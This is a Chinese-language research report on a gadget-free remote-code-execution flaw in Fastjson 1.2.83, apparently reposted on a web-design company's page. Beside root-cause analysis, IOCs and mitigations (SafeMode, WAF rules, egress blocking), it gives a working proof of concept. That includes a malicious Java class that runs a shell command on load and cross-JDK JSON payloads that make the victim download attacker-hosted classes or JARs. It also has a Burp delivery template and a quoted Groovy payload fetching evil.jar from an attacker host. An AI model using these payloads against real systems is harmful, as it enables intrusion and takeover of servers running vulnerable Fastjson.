Fastjson 1.2.83 “Gadget-Free“ RCE
2026/7/23 15:39:41 网站建设 项目流程

Fastjson 1.2.83 “Gadget-Free” RCE 漏洞深度研究报告

漏洞编号:QVD-2026-43021 / 内部编号:FJ-GETRESOURCE-RCE
披露时间:2026-07-21
原始发现者:Kirill Firsov(@k_firsov)
危险等级:高危(满足部署条件时按严重处理)


目录

  1. 执行摘要
  2. 影响范围
  3. 漏洞根因分析
  4. 触发链路
  5. 利用链详解
  6. 完整 POC
  7. 环境差异与利用条件
  8. 检测与 IOC
  9. 修复与缓解
  10. 与历史漏洞对比

1. 执行摘要

本漏洞打破了以下三条业界普遍认知:

错误认知实际情况
AutoType 默认关闭就安全漏洞在 AutoType=false 默认状态下仍可触发
固定 parseObject 第二参数就安全已验证固定 BoundEnvelope.class 仍 RCE-OK
classpath 没有已知 gadget 就安全本漏洞不依赖任何本地 gadget

核心原理:ParserConfig.checkAutoType()会把用户可控的@type值做./
替换后拼成 class 资源名,交给ClassLoader.getResourceAsStream()探测。
在 Spring Boot FatJar 的LaunchedURLClassLoader环境下,精心构造的类型名会被
解析为绝对 HTTP/JAR URL,触发远程 class 拉取。攻击者提供的 class 只需带有
@JSONType注解,即可绕过 Fastjson 后续所有安全检查,直接被加载执行。

已验证复现环境:

JDKClassLoaderFastjson结果
Temurin 8u492Spring Boot Loader 2.7.181.2.83RCE 成功
Temurin 17.0.19Spring Boot Loader 3.2.01.2.83RCE 成功
Temurin 21.0.11Spring Boot Loader 3.2.01.2.83RCE 成功
Temurin 25.0.3Spring Boot Loader 3.2.01.2.83RCE 成功

2. 影响范围

2.1 受影响版本

  • 核心受影响:Fastjson 1.2.66 ~ 1.2.83
  • 注:资源探测代码在 1.2.67/1.2.68 已存在,但完整跨 JDK 链仅在 1.2.83 完整验证

2.2 利用所需前置条件

必须满足(缺一不可):

  1. 攻击者可控制传入 Fastjson 的 JSON,且@type会被解析
  2. SafeMode 未启用(这是最关键的防御点)
  3. 加载 Fastjson 的 ClassLoader 能把绝对资源名解析为 URL(如 Spring Boot FatJar)
  4. 受害进程可以出网连接攻击端 HTTP 服务
  5. 现代 JDK 链额外需要/proc/self/fd可读(Linux)且 JVM 临时目录可写

不需要:

  • 目标 classpath 中的任何已知反序列化 gadget
  • 开启 AutoType
  • 控制 parseObject 第二个目标类型参数
  • 向目标文件系统写入文件

2.3 危险接口示例

// 高危写法:未指定目标类型@PostMapping("/parse")publicObjectparse(@RequestBodyStringbody){returnJSON.parse(body);// 外部输入直接进入 Fastjson}

2.4 复现构件哈希

fastjson-1.2.83.jar SHA-256: 641a4d65ab32fbfdccd9c718e3f83ebc4caabdb5e4fe5b3d51527c5fe692631d spring-boot-loader-2.7.18.jar SHA-256: 855d80b2d8afc9140036ab20dba5d9333ed427bb1562057265335b244b98ed16 spring-boot-loader-3.2.0.jar SHA-256: 84d7352ce2f264262afb0253b9b882b0abf56f7c371c7523a0b3f6401d9c831b

3. 漏洞根因分析

3.1 用户类型名被当作资源 URL(核心缺陷)

源码位置ParserConfig.java:1479-1498

Stringresource=typeName.replace('.','/')+".class";if(defaultClassLoader!=null){is=defaultClassLoader.getResourceAsStream(resource);}else{is=ParserConfig.class.getClassLoader().getResourceAsStream(resource);}

该逻辑假设resource只是普通 classpath 路径,没有限制协议、绝对路径语义或来源
对 Spring Boot FatJar 的 ClassLoader,以下输入会在替换后变成绝对 URL:

输入 typeName: http:..attacker.com.a 替换后 resource: http://attacker.com/a.class

getResourceAsStream()从本地元数据查询越界为攻击者可控的网络资源加载

3.2 远程 class 的 @JSONType 被当作授权依据

Fastjson 使用自己的 ASM ClassReader 解析资源内容:

ClassReaderclassReader=newClassReader(is,true);TypeCollectorvisitor=newTypeCollector("<clinit>",newClass[0]);classReader.accept(visitor);jsonType=visitor.hasJsonType();// 检查攻击者提供的字节,不是可信 classpath

攻击端只需让远程 class 带有@JSONType注解即可将jsonType置为true

3.3 @JSONType 触发实际类加载

源码位置ParserConfig.java:1500-1503

if(autoTypeSupport||jsonType||expectClassFlag){booleancacheClass=autoTypeSupport||jsonType;clazz=TypeUtils.loadClass(typeName,defaultClassLoader,cacheClass);}

TypeUtils.loadClass依次尝试:显式 loader → 线程上下文 loader →Class.forName
在正向环境中,线程上下文 loader 再次解析相同绝对资源名、下载 class 并defineClass

3.4 @JSONType 早返回绕过所有后续安全检查

源码位置ParserConfig.java:1505-1528

if(clazz!=null){if(jsonType){returnclazz;// <-- 直接返回!后续危险基类检查不执行}// 以下检查均被跳过:if(ClassLoader.class.isAssignableFrom(clazz)||DataSource.class.isAssignableFrom(clazz)||...){thrownewJSONException(...);}if(expectClass!=null){// expectClass.isAssignableFrom(clazz) 也被跳过}}

远程 class 携带@JSONType后:危险基类检查、类型兼容性检查全部失效。

3.5 Exception 后缀形成失败软通道(跨 JDK 关键)

源码位置ParserConfig.java:1537-1542

if(!autoTypeSupport){if(typeName.endsWith("Exception")||typeName.endsWith("Error")){returnnull;// 软返回,JSON 解析继续}thrownewJSONException("autoType is not support. "+typeName);}

现代 JDK 第一阶段因非法内部类名加载失败时,让类型名以Exception结尾后,
Fastjson不终止整个 JSON,而是return null,使解析器继续处理数组后续元素。
这一分支是单 payload 跨阶段执行的核心机制。

3.6 SafeMode 的位置(为什么有效)

SafeMode 检查位于资源访问之前ParserConfig.java:1325-1330),
因此启用 SafeMode 后网络请求不会发出。
但注意:AutoTypeCheckHandler在 SafeMode 之前执行,自定义 handler 需单独审计。


4. 触发链路

接收 JSON 请求(含 @type 字段) ↓ Fastjson JSON.parse() / JSON.parseObject() ↓ ParserConfig.checkAutoType() ↓ typeName.replace('.', '/') + ".class" ← 点号替换为斜杠 ↓ defaultClassLoader.getResourceAsStream(resource) ↓ ┌─────────────────────────────────────────────────┐ │ Spring Boot LaunchedURLClassLoader │ │ 识别绝对 URL 协议,发起远程 HTTP 请求 │ └─────────────────────────────────────────────────┘ ↓ 攻击端返回带 @JSONType 注解的恶意 class 字节 ↓ ASM ClassReader 扫描到 @JSONType → jsonType = true ↓ TypeUtils.loadClass(typeName, ...) 再次加载 ↓ ClassLoader.defineClass() → 执行 <clinit> 静态初始化块 ↓ 恶意代码执行(RCE)

关键:整个链路中无需目标 classpath 中存在任何 gadget 类。


5. 利用链详解

5.1 点号替换问题(IP 地址处理)

Fastjson 执行typeName.replace('.', '/')会破坏 IPv4 地址中的点号:

127.0.0.1 → 127/0/0/1(URL 损坏)

解决方案:将 IPv4 转为十进制整数

importsocket,structdefip_to_decimal(ip):returnstruct.unpack("!I",socket.inet_aton(ip))[0]print(ip_to_decimal("127.0.0.1"))# 输出: 2130706433print(ip_to_decimal("192.168.1.1"))# 输出: 3232235777

因此 payload 中用2130706433代替127.0.0.1,替换后不会被拆散。

5.2 JDK 8 链:直接远程 class 加载

payload 最短形式:

{"@type":"http:..2130706433:18081.evil"}

转换链:

typeName: http:..2130706433:18081.evil resource: http://2130706433:18081/evil.class 内部名称: http://2130706433:18081/evil

JDK 8 接受该非常规内部类名,LaunchedURLClassLoader下载并完成defineClass
恶意<clinit>执行命令。

限制:JDK 17+ 拒绝内部名中的空路径段,提示:

ClassFormatError: Illegal class name "http://attacker/a"

5.3 现代 JDK 第一阶段:下载远程 JAR 到临时缓存

payload 首个元素:

{"@type":"jar:http:..attacker:18081.x!.foo.Exception"}

转换结果:

resource: jar:http://attacker:18081/x!/foo/Exception.class

sun.net.www.protocol.jar.URLJarFile.retrieve创建jar_cache*临时文件,
将远程 JAR 复制到本地,打开JarFile
缓存文件由 JVM 持有,攻击者无需知道随机临时文件名。

JDK 17+ 因Exception后缀软返回,Fastjson 继续解析数组下一元素。

5.4 现代 JDK 第二阶段:通过 /proc/self/fd 重开缓存 JAR

payload 后续候选元素示例:

{"@type":"jar:file:.proc.self.fd.7!.fd7.Exception"},{"@type":"jar:file:.proc.self.fd.8!.fd8.Exception"},...{"@type":"jar:file:.proc.self.fd.64!.fd64.Exception"}

转换链:

typeName: jar:file:.proc.self.fd.7!.fd7.Exception resource: jar:file:/proc/self/fd/7!/fd7/Exception.class 内部名称: jar:file:/proc/self/fd/7!/fd7/Exception

http://不同,该内部名每个/分隔组件均非空,JVM 接受

攻击 JAR 为每个候选 FD 准备一个入口(fd3~fd64),每个 class 携带@JSONType
命中实际缓存句柄的 FD 后,Fastjson 加载该 class,<clinit>执行命令。

JDK 17 class-load 日志中首个命中示例:

[class,load] jar:file:.proc.self.fd.7!.fd7.Exception

5.5 单 payload 兼容 JDK 8 与现代 JDK 的原理

JDK 8 路径: 第一阶段 jar:http://... class 直接加载并执行 class 执行命令后主动抛出 RuntimeException("stage-one-stop") 阻止 JDK 8 继续尝试 FD 枚举(避免误命中 socket/pipe FD) JDK 17/21/25 路径: 第一阶段因非法内部类名报 ClassFormatError,不触发主动异常 Fastjson 因 Exception 后缀软返回,继续处理后续数组元素 进入第二阶段 /proc/self/fd FD 枚举,找到缓存句柄执行

6. 完整 POC

6.1 恶意 class(攻击端准备)

// EvilClass.java - 部署在攻击端 HTTP 服务packagefd7;// 包名与 FD 路径对应importcom.alibaba.fastjson.annotation.JSONType;@JSONType// 关键:让 Fastjson ASM 扫描到注解,触发 loadClasspublicclassExceptionextendsjava.lang.Exception{static{try{// 替换为实际命令,如反弹 shellRuntime.getRuntime().exec(newString[]{"/bin/bash","-c","touch /tmp/fastjson-getresource-rce"});}catch(Exceptione){e.printStackTrace();}}}

6.2 JDK 8 专用 POC(单条 payload)

{"@type":"http:..2130706433:18081.evil"}

2130706433替换为攻击端 IP 的十进制整数形式,18081替换为端口。

6.3 跨 JDK 通用 payload(数组形式)

[{"@type":"jar:http:..2130706433:18081.x!.foo.Exception"},{"@type":"jar:file:.proc.self.fd.3!.fd3.Exception"},{"@type":"jar:file:.proc.self.fd.4!.fd4.Exception"},{"@type":"jar:file:.proc.self.fd.5!.fd5.Exception"},{"@type":"jar:file:.proc.self.fd.6!.fd6.Exception"},{"@type":"jar:file:.proc.self.fd.7!.fd7.Exception"},{"@type":"jar:file:.proc.self.fd.8!.fd8.Exception"},{"@type":"jar:file:.proc.self.fd.9!.fd9.Exception"},{"@type":"jar:file:.proc.self.fd.10!.fd10.Exception"},{"@type":"jar:file:.proc.self.fd.11!.fd11.Exception"},{"@type":"jar:file:.proc.self.fd.12!.fd12.Exception"},{"@type":"jar:file:.proc.self.fd.13!.fd13.Exception"},{"@type":"jar:file:.proc.self.fd.14!.fd14.Exception"},{"@type":"jar:file:.proc.self.fd.15!.fd15.Exception"},{"@type":"jar:file:.proc.self.fd.16!.fd16.Exception"}]

建议 FD 范围枚举至 fd64,覆盖大多数 JVM 进程打开的临时缓存句柄。

6.4 Burp Suite 投递模板

POST /parse HTTP/1.1 Host: victim.example.com Content-Type: application/json Connection: close Content-Length: <length> [ {"@type": "jar:http:..2130706433:18081.x!.foo.Exception"}, {"@type": "jar:file:.proc.self.fd.7!.fd7.Exception"} ]

固定第二参数的接口包装方式(仍然有效):

POST /api/user HTTP/1.1 Content-Type: application/json {"value": [ {"@type": "jar:http:..2130706433:18081.x!.foo.Exception"}, {"@type": "jar:file:.proc.self.fd.7!.fd7.Exception"} ]}

6.5 版本探测 payload(判断是 1.2.80 还是 1.2.83)

[{"@type":"java.lang.Exception","@type":"com.alibaba.fastjson.JSONException","x":{"@type":"java.net.InetSocketAddress"{"address":,"val":"first.dnslog.cn"}}},{"@type":"java.lang.Exception","@type":"com.alibaba.fastjson.JSONException","message":{"@type":"java.net.InetSocketAddress"{"address":,"val":"second.dnslog.cn"}}}]

收到两个 DNS 请求 → 1.2.83;收到一个 → 1.2.80。

6.6 ClassLoader 类型排查(判断是否可利用)

// 应用启动时打印,判断 ClassLoader 类型@PostConstructpublicvoidprintClassLoader(){ClassLoaderctx=Thread.currentThread().getContextClassLoader();ClassLoaderfj=ParserConfig.getGlobalInstance().getDefaultClassLoader();System.out.println("contextClassLoader = "+ctx);System.out.println("fastjsonClassLoader = "+fj);}

输出含LaunchedURLClassLoader→ 可能可利用;
输出AppClassLoader→ 普通场景,远程资源解析不触发。

6.7 IP 转十进制工具

#!/usr/bin/env python3importsocket,struct,sysdefip_to_decimal(ip:str)->int:returnstruct.unpack("!I",socket.inet_aton(ip))[0]if__name__=="__main__":ip=sys.argv[1]iflen(sys.argv)>1else"127.0.0.1"dec=ip_to_decimal(ip)print(f"{ip}->{dec}")print(f"payload: http:..{dec}:18081.evil")

6.8 参考 POC 仓库

https://github.com/midisec/fastjson-1.2.83-gadget-rce

7. 环境差异与利用条件

7.1 各场景利用可行性

测试场景HTTP 请求发出命令执行结论
AutoType=false(默认)关闭 AutoType 不足以防御
固定BoundEnvelope.class固定第二参数不足以防御
SafeMode=true有效阻断
普通 AppClassLoader不解析绝对远程资源,安全
Spring Boot 2.7 + JDK 17第一段有第二段 jar:file:/proc/self/fd 未解析
Spring Boot 3.2 + JDK 17/21/25完整现代链成立

7.2 JDK 版本影响

  • JDK 8:接受非常规内部类名,jar:http://...直接 class 加载,最易利用
  • JDK 17/21/25:拒绝第一阶段非法名,但第二阶段/proc/self/fd链可绕过,需 Linux
  • macOS:使用/dev/fd也完成了 JDK 17/21/25 复现

7.3 打包方式影响

打包方式ClassLoader利用可行性
Spring Boot FatJarLaunchedURLClassLoader高风险
传统 WAR 部署AppClassLoader / Tomcat通常无法触发远程资源加载
直接 java -cp 运行AppClassLoader通常安全

7.4 出网限制影响

  • 目标无法出网时,远程资源加载链路被直接切断,漏洞降级为SSRF/探测
  • 建议通过 DNSLOG 先确认目标是否出网

8. 检测与 IOC

8.1 请求侧特征

重点关注 JSON body 中解码后的@type值包含以下特征:

http:.. jar:http:.. jar:file:.proc.self.fd. jar:file:.dev.fd. !.fd Exception(结合数组 + FD 路径判断,单独出现不报警) Unicode 绕过:@type 等价于 @type

8.2 网络侧特征(IDS/EDR)

  • JVM 进程向非预期主机请求无扩展名 JAR 或.class文件
  • 同一解析请求期间出现 1-3 次重复 GET/HEAD
  • 请求路径中出现/x/a.class或数字路径

8.3 主机侧特征

# 检查 JVM 临时目录异常文件ls-la/tmp/jar_cache*ls-la/var/tmp/jar_cache*# 检查 Java 进程是否通过 /proc/self/fd 重新打开文件lsof-p<java_pid>|grep"proc/self/fd"# class-load 日志中的命中特征-verbose:class|grep"jar:file:.proc.self.fd"

8.4 已知 IOC(payload 特征字符串)

jar:file:.proc.self.fd. jar:http:.. http:...*:18081 @JSONType

9. 修复与缓解

9.1 首选方案:迁移 Fastjson 2.x(高危)

<!-- Maven --><dependency><groupId>com.alibaba.fastjson2</groupId><artifactId>fastjson2</artifactId><version>2.0.57</version></dependency>

Fastjson 2.x 不再为兼容提供白名单,安全性大幅提升,但不完全兼容 1.x API。

9.2 立即应急:启用 SafeMode

代码方式(推荐):

// 在 SpringBoot 启动最早阶段执行ParserConfig.getGlobalInstance().setSafeMode(true);
@SpringBootApplicationpublicclassDemoApplication{publicstaticvoidmain(String[]args){ParserConfig.getGlobalInstance().setSafeMode(true);// 最先执行SpringApplication.run(DemoApplication.class,args);}}

JVM 参数方式:

java-Dfastjson.parser.safeMode=true-jarapp.jar

配置文件方式:

fastjson.parser.safeMode=true

⚠️ 启用 SafeMode 会完全禁用 AutoType,依赖多态反序列化的业务需做回归测试。

9.3 收紧解析入口

// 危险:直接暴露 JSON.parsereturnJSON.parse(body);// 更安全:指定目标类型returnJSON.parseObject(body,UserDTO.class);// 注意:仅固定第二参数仍不足以完全防御本漏洞,需配合 SafeMode

9.4 WAF 临时规则

# 拦截 @type 字段(覆盖 Unicode 编码绕过) # 明文 @type # Unicode @type \x40type # 拦截协议特征 jar:http: jar:file: http:.. .proc.self.fd.

WAF 只能作为缓解层,不能替代 SafeMode 或版本升级。

9.5 出网与运行时加固

# 禁止 JVM 访问非业务外部地址(iptables 示例)iptables-AOUTPUT-mowner --uid-owner<java-user>-jDROP iptables-AOUTPUT-mowner --uid-owner<java-user>-d<允许的IP段>-jACCEPT# 容器化场景限制网络策略(Kubernetes NetworkPolicy 示例)# 只允许出口访问数据库等必要服务,拒绝任意外网# 审计 ClassLoader 对绝对 URL 资源名的处理# 在受信 ClassLoader 中拒绝 http:、jar:http:、jar:file:/proc 等协议

10. 与历史漏洞对比

漏洞/技术影响版本需要 gadgetautoType 要求核心机制
CVE-2017-18349 (1.2.24)≤1.2.24需要(JNDI)需开启无防护直接加载
CVE-2019-* (1.2.47)≤1.2.47需要(JNDI)无需(cache 投毒)mappingTable 缓存绕过
CVE-2022-25845 (1.2.80)≤1.2.80需要(Throwable)无需Exception 派生类 setter
QVD-2026-43021 (1.2.83)1.2.66~1.2.83无需无需@JSONType 资源探测劫持

历史链路对比

CVE-2022-25845(1.2.80)核心 payload:

{"@type":"java.lang.Exception","@type":"org.codehaus.groovy.control.CompilationFailedException","unit":{}}

然后通过 Groovy 远程类加载实现 RCE:

{"@type":"org.codehaus.groovy.control.ProcessingUnit","@type":"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit","config":{"@type":"org.codehaus.groovy.control.CompilerConfiguration","classpathList":["http://attacker:8080/evil.jar"]},"gcl":null,"destDir":"/tmp"}

QVD-2026-43021(1.2.83)相比之下:

  • 不依赖 Groovy、aspectj、commons-io 等特定依赖库
  • 不依赖目标 classpath 中任何已知 gadget
  • 利用 Fastjson 自身资源探测逻辑,攻击面更广

参考资料

  • kevin735.cn - Fastjson 1.2.83 RCE 分析
  • GCSA 全球网络安全联盟 - 深度分析报告
  • JFrog - CVE-2022-25845 深度分析
  • su18/hack-fastjson-1.2.80 - KCon 议题 payload 集
  • hosch3n/FastjsonVulns - 1.2.83 RCE 复现
  • midisec/fastjson-1.2.83-gadget-rce - POC 仓库
  • fearsoff.org - FastJson 1.2.83 RCE Research
  • GitHub Security Lab GHSL-2024-282
  • Fastjson 官方安全公告 20220523

报告日期:2026-07-22 | 基于公开技术披露整理,仅供授权安全研究使用

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询